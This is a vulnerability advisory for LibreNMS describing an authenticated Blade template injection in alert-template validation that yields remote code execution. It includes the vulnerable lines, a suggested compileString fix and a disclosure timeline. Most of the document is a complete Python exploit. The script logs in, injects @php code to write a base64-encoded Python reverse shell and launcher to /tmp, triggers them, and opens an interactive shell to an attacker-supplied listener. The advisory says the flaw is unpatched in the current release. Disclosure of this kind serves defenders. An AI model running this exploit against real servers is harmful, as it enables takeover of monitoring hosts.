- Product
- LibreNMS
- Affected
- 1.51 – 26.9.1
- Class
- Authenticated SSTI → RCE
LibreNMS lets an admin define alert templates. Before saving one, it validates the template by rendering it with Laravel's Blade engine. Blade compiles a @php ... @endphp directive into the PHP it contains and runs it. The validation step therefore executes whatever the template holds. Any authenticated admin can run arbitrary code in the web-server process.
The flaw
includes/html/forms/alert-templates.inc.php & includes/html/api_functions.inc.php
Blade::render($vars['template'], $test_data);
Blade::render($vars['title'], $test_data);
Blade::render($vars['title_rec'], $test_data);Blade::render() compiles the source and evaluates it. For a @php directive the compiler emits the body unchanged, so it runs during the check. The same three lines appear in includes/html/api_functions.inc.php, behind POST /api/v0/alert_templates.
Fix
compileString() turns Blade source into PHP text and returns it without running a @php body:
try {
app('blade.compiler')->compileString($vars['template']);
app('blade.compiler')->compileString($vars['title']);
app('blade.compiler')->compileString($vars['title_rec']);
} catch (Exception $e) {
return api_error(400, 'Template failed to parse: ' . $e->getMessage());
}Both the web form and the API need the change. Patching one leaves the other reachable.
PoC
The script logs in, writes a reverse shell to disk through the template validator, then triggers it. It affects 1.51 through latest; the API path works from 26.3.0 onward.
#!/usr/bin/env python3
"""
LibreNMS SSTI → RCE via Blade Alert Templates
Exploits unsanitized Blade::render() in alert template creation.
The @php directive in user-supplied templates is compiled and executed
immediately during template validation.
Affected: LibreNMS 1.51 (April 2019) through latest (26.9.1)
Requires: Admin credentials
Endpoint: Web UI form (all versions) or API (26.3.0+)
Usage:
python3 poc_librenms_ssti_rce.py <target_url> <user> <pass> <lhost> <lport>
"""
import argparse
import base64
import http.cookiejar
import re
import socket
import sys
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
class LibreNMSSession:
"""Authenticated web session for LibreNMS."""
def __init__(self, target):
self.base = target.rstrip("/")
self.cj = http.cookiejar.CookieJar()
self.opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(self.cj),
urllib.request.HTTPRedirectHandler(),
)
self.csrf = None
def login(self, username, password):
resp = self.opener.open(f"{self.base}/login", timeout=10)
html = resp.read().decode()
m = re.search(r'name="_token"[^>]*value="([^"]+)"', html)
if not m:
return False, "Could not find CSRF token on login page"
csrf = m.group(1)
data = urllib.parse.urlencode({
"_token": csrf,
"username": username,
"password": password,
}).encode()
resp = self.opener.open(
urllib.request.Request(f"{self.base}/login", data=data), timeout=10
)
html = resp.read().decode()
if "login" in resp.url and "username" in html:
return False, "Login failed — check credentials"
m = re.search(r'name="csrf-token" content="([^"]+)"', html)
if not m:
m = re.search(r'name="_token"[^>]*value="([^"]+)"', html)
if m:
self.csrf = m.group(1)
return True, "OK"
def inject(self, php_code):
template = f"@php {php_code} @endphp"
data = urllib.parse.urlencode({
"_token": self.csrf,
"type": "alert-templates",
"template": template,
"name": f"t_{int(time.time())}",
"template_id": "",
"title": "Normal",
"title_rec": "Normal",
}).encode()
try:
resp = self.opener.open(
urllib.request.Request(f"{self.base}/ajax_form.php", data=data),
timeout=30,
)
return True, resp.read().decode()[:200]
except Exception as e:
return False, str(e)
def revshell(session, lhost, lport):
print("[*] Stage 1: Writing reverse shell to target...")
rs_script = (
f"import socket,subprocess,os\n"
f"s=socket.socket()\n"
f"s.connect((\"{lhost}\",{lport}))\n"
f"os.dup2(s.fileno(),0)\n"
f"os.dup2(s.fileno(),1)\n"
f"os.dup2(s.fileno(),2)\n"
f"subprocess.run([\"/bin/bash\",\"-i\"])"
)
launcher = "#!/bin/bash\nnohup python3 /tmp/rs.py &\ndisown\n"
write_code = (
f"file_put_contents('/tmp/rs.py', base64_decode('{base64.b64encode(rs_script.encode()).decode()}')); "
f"file_put_contents('/tmp/launch.sh', base64_decode('{base64.b64encode(launcher.encode()).decode()}')); "
f"chmod('/tmp/launch.sh', 0755);"
)
ok, msg = session.inject(write_code)
if not ok:
print(f"[-] Stage 1 failed: {msg}")
return False
print("[+] Stage 1 complete")
print(f"[*] Stage 2: Listener on 0.0.0.0:{lport}, triggering shell...")
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server.bind(("0.0.0.0", lport))
except OSError as e:
print(f"[-] Cannot bind to port {lport}: {e}")
return False
server.listen(1)
server.settimeout(15)
def trigger():
time.sleep(1)
session.inject('system("bash /tmp/launch.sh");')
t = threading.Thread(target=trigger)
t.start()
try:
conn, addr = server.accept()
print(f"[+] Shell connected from {addr[0]}:{addr[1]}")
conn.settimeout(3)
time.sleep(1)
try:
conn.recv(4096)
except socket.timeout:
pass
for cmd in ["id", "hostname"]:
conn.sendall((cmd + "\n").encode())
time.sleep(1)
try:
out = conn.recv(4096).decode().strip()
for line in out.split("\n"):
line = line.strip()
if line and "$" not in line[:5]:
print(f" {line}")
except socket.timeout:
pass
print()
print("[+] Reverse shell established. Dropping to interactive mode.")
print("[*] Type 'exit' to quit.\n")
conn.settimeout(1)
try:
while True:
try:
data = conn.recv(4096)
if data:
sys.stdout.write(data.decode(errors="replace"))
sys.stdout.flush()
except socket.timeout:
pass
try:
cmd = input()
if cmd.strip().lower() == "exit":
conn.sendall(b"exit\n")
break
conn.sendall((cmd + "\n").encode())
time.sleep(0.5)
try:
data = conn.recv(4096)
if data:
sys.stdout.write(data.decode(errors="replace"))
sys.stdout.flush()
except socket.timeout:
pass
except EOFError:
break
except KeyboardInterrupt:
pass
finally:
conn.close()
print("\n[*] Shell closed.")
except socket.timeout:
print("[-] No connection received.")
return False
finally:
server.close()
t.join(timeout=5)
return True
def main():
parser = argparse.ArgumentParser(
description="LibreNMS SSTI RCE via Blade alert templates",
)
parser.add_argument("target", help="Target LibreNMS URL")
parser.add_argument("username", help="Admin username")
parser.add_argument("password", help="Admin password")
parser.add_argument("lhost", help="Listener IP for reverse shell")
parser.add_argument("lport", type=int, help="Listener port for reverse shell")
args = parser.parse_args()
print("LibreNMS SSTI RCE — Blade::render() alert template injection")
print(f"Target: {args.target}")
print()
print(f"[*] Logging in as {args.username}...")
session = LibreNMSSession(args.target)
ok, msg = session.login(args.username, args.password)
if not ok:
print(f"[-] {msg}")
return 1
print("[+] Logged in")
print()
return 0 if revshell(session, args.lhost, args.lport) else 1
if __name__ == "__main__":
sys.exit(main())Timeline
Reported to LibreNMS.
Maintainers reply that the issue was already reported.
Verified unpatched on the current release (26.9.1, image `e776d0fd50ef`).
Published.